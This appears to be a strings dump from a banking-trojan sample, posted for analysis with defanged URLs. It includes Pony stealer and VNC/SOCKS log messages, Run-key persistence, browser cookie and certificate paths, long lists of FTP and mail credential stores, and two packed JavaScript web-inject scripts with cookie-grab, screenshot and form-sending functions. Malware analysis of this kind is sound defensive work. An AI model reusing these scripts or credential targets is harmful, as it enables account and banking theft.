RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

.pdata

.pdata

@.reloc

@.reloc

CRYPT32.dll

CRYPT32.dll

[%s - X64 EQ PID: %u TID: %u]

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

[PONY] Fail inject to process: %u

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

jqs.exe_1976_rwx_01150000_0007B000:

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

